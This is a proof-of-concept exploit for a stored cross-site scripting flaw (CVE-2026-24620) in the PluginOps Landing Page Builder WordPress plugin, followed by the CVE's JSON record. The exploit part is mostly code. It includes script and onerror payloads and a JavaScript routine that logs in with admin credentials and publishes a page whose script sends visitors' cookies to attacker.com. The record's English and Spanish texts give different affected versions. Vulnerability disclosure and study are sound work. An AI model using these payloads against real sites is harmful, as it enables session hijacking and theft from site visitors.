CVE-2026-24620

<!-- CVE-2026-24620 PoC: PluginOps Landing Page Builder Stored XSS --> <!-- This PoC demonstrates the stored XSS vulnerability in Landing Page Builder <= 1.5.3.4 --> <!-- Attack requires high privilege access (admin/editor) --> <!-- Method 1: Via WordPress Admin Dashboard --> <!-- 1. Navigate to WordPress Admin > Landing Pages > Create/Edit Page --> <!-- 2. Insert the following payload in any text input field --> <script>alert('XSS')</script> <!-- Method 2: Via REST API (if available) --> <!-- POST /wp-json/wp/v2/pages --> <!-- {"title": "<img src=x onerror=alert(document.cookie)>", "content": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"} --> <!-- Method 3: Exploit Script --> const exploitXSS = async () => { // Login to WordPress with admin credentials const loginData = new URLSearchParams({ 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' }); // Obtain authentication cookie const loginResponse = await fetch('/wp-login.php', { method: 'POST', body: loginData, headers: {'Content-Type': 'application/x-www-form-urlencoded'}, credentials: 'include' }); // Create landing page with XSS payload const xssPayload = '<script>fetch("https://attacker.com/log?cookie="+btoa(document.cookie))</script>'; const pageData = { 'title': 'Malicious Landing Page', 'content': xssPayload, 'status': 'publish' }; // Send payload via REST API const createResponse = await fetch('/wp-json/wp/v2/pages', { method: 'POST', body: JSON.stringify(pageData), headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': 'your_nonce_here' }, credentials: 'include' }); console.log('XSS payload deployed successfully'); }; exploitXSS();

{"cve": {"id": "CVE-2026-24620", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:21.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PluginOps Landing Page Builder page-builder-add allows Stored XSS.This issue affects Landing Page Builder: from n/a through <= 1.5.3.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en PluginOps Landing Page Builder page-builder-add permite XSS Almacenado. Este problema afecta a Landing Page Builder: desde n/a hasta &lt;= 1.5.3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/page-builder-add/vulnerability/wordpress-landing-page-builder-plugin-1-5-3-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}